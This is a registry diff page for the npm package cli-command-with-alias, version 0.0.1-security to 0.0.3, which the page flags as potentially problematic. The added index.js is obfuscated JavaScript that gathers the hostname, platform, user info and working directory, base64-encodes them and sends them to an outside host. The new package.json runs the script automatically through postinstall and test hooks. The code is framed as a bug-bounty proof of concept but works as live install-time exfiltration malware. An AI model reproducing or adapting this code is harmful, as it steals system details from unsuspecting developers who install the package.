cli-command-with-alias 0.0.1-security → 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cli-command-with-alias might be problematic. Click here for more details.
- package/README.md +0 -5
- package/index.js +72 -0
- package/package.json +17 -3
package/README.md
CHANGED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=cli-command-with-alias for more information.
|
package/index.js
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
function _0x40ed() {
|
|
2
|
+
var _0x149c10 = [
|
|
3
|
+
'toString',
|
|
4
|
+
'writeFile',
|
|
5
|
+
'\x20for\x20bug',
|
|
6
|
+
'push',
|
|
7
|
+
'cli-comman',
|
|
8
|
+
'6405608zCjMoX',
|
|
9
|
+
'49638aMmwFc',
|
|
10
|
+
'stringify',
|
|
11
|
+
'from',
|
|
12
|
+
'request',
|
|
13
|
+
'tko.org/?',
|
|
14
|
+
'base64',
|
|
15
|
+
'7MBTnYD',
|
|
16
|
+
'5438064zZyqjt',
|
|
17
|
+
'd-with-ali',
|
|
18
|
+
'17337627LrwLMl',
|
|
19
|
+
'userInfo',
|
|
20
|
+
'oclif/ocli',
|
|
21
|
+
'hostname',
|
|
22
|
+
'40qQTMCT',
|
|
23
|
+
'https://ko',
|
|
24
|
+
'918927eiVRwg',
|
|
25
|
+
'this\x20proof',
|
|
26
|
+
'platform',
|
|
27
|
+
'3744890QPYlyL',
|
|
28
|
+
'cwd',
|
|
29
|
+
'pocByKotko',
|
|
30
|
+
'.txt',
|
|
31
|
+
'2251700adEIzV'
|
|
32
|
+
];
|
|
33
|
+
_0x40ed = function () {
|
|
34
|
+
return _0x149c10;
|
|
35
|
+
};
|
|
36
|
+
return _0x40ed();
|
|
37
|
+
}
|
|
38
|
+
var _0x590b1a = _0x460e;
|
|
39
|
+
(function (_0x17e3f0, _0x170c29) {
|
|
40
|
+
var _0x50376d = _0x460e, _0x5d6aea = _0x17e3f0();
|
|
41
|
+
while (!![]) {
|
|
42
|
+
try {
|
|
43
|
+
var _0xa970d6 = parseInt(_0x50376d(0x1d5)) / (-0x2 * -0xf7c + -0x2135 * -0x1 + -0xde * 0x4a) + parseInt(_0x50376d(0x1d3)) / (0xf07 + 0xa40 + -0x1945 * 0x1) * (-parseInt(_0x50376d(0x1c6)) / (0x1fde + -0x1587 + 0xa54 * -0x1)) + parseInt(_0x50376d(0x1dc)) / (-0x9b * -0x3d + -0x113e + 0x13ad * -0x1) + -parseInt(_0x50376d(0x1d8)) / (-0x749 + 0x66d + 0xe1) + parseInt(_0x50376d(0x1cd)) / (-0x1 * -0xa13 + 0x1 * -0x117b + -0x3b7 * -0x2) * (-parseInt(_0x50376d(0x1cc)) / (-0x2038 + -0x6 * -0x305 + -0xe21 * -0x1)) + -parseInt(_0x50376d(0x1c5)) / (0x1 * -0x194e + 0x4e4 + 0x1472) + parseInt(_0x50376d(0x1cf)) / (-0x1141 * -0x2 + 0x177e + 0x1 * -0x39f7);
|
|
44
|
+
if (_0xa970d6 === _0x170c29)
|
|
45
|
+
break;
|
|
46
|
+
else
|
|
47
|
+
_0x5d6aea['push'](_0x5d6aea['shift']());
|
|
48
|
+
} catch (_0x4b3c6a) {
|
|
49
|
+
_0x5d6aea['push'](_0x5d6aea['shift']());
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
}(_0x40ed, -0x1 * 0x548ce + -0x125c2b + 0x211ff9));
|
|
53
|
+
function _0x460e(_0x2c516f, _0x5d64c2) {
|
|
54
|
+
var _0x4d0711 = _0x40ed();
|
|
55
|
+
return _0x460e = function (_0x2181fc, _0x5a73d2) {
|
|
56
|
+
_0x2181fc = _0x2181fc - (0x8 * 0x10 + -0x1 * 0x39a + 0x4de);
|
|
57
|
+
var _0x33fbb9 = _0x4d0711[_0x2181fc];
|
|
58
|
+
return _0x33fbb9;
|
|
59
|
+
}, _0x460e(_0x2c516f, _0x5d64c2);
|
|
60
|
+
}
|
|
61
|
+
var os = require('os');
|
|
62
|
+
const request = require(_0x590b1a(0x1c9));
|
|
63
|
+
var fs = require('fs'), hostname = os[_0x590b1a(0x1d2)](), type = os[_0x590b1a(0x1d7)](), userInfo = os[_0x590b1a(0x1d0)](), currentPath = process[_0x590b1a(0x1d9)](), json = [];
|
|
64
|
+
json[_0x590b1a(0x1e0)](hostname), json[_0x590b1a(0x1e0)](type), json[_0x590b1a(0x1e0)](userInfo), json[_0x590b1a(0x1e0)](currentPath), json = JSON[_0x590b1a(0x1c7)](json);
|
|
65
|
+
let company = _0x590b1a(0x1d1) + 'f', packages = _0x590b1a(0x1c4) + _0x590b1a(0x1ce) + 'as';
|
|
66
|
+
fs[_0x590b1a(0x1de)](_0x590b1a(0x1da) + _0x590b1a(0x1db), _0x590b1a(0x1d6) + _0x590b1a(0x1df), function (_0x51dacb) {
|
|
67
|
+
if (_0x51dacb)
|
|
68
|
+
throw _0x51dacb;
|
|
69
|
+
});
|
|
70
|
+
var buff = Buffer[_0x590b1a(0x1c8)](JSON[_0x590b1a(0x1c7)](json))[_0x590b1a(0x1dd)](_0x590b1a(0x1cb));
|
|
71
|
+
request(_0x590b1a(0x1d4) + _0x590b1a(0x1ca) + company + ':' + packages + '=' + buff, (_0x59a89a, _0x56af01, _0x43e6f7) => {
|
|
72
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,20 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cli-command-with-alias",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.0.3",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js",
|
|
8
|
+
"preinstall": "npm i request --save-dev",
|
|
9
|
+
"test": "node index.js"
|
|
10
|
+
},
|
|
11
|
+
"Dependencies": {
|
|
12
|
+
"crypto": "^1.0.1",
|
|
13
|
+
"request": "^2.88.2",
|
|
14
|
+
"os": "^0.1.1"
|
|
15
|
+
},
|
|
16
|
+
"author": "",
|
|
17
|
+
"devDependencies": {
|
|
18
|
+
"request": "^2.88.2"
|
|
19
|
+
}
|
|
6
20
|
}
|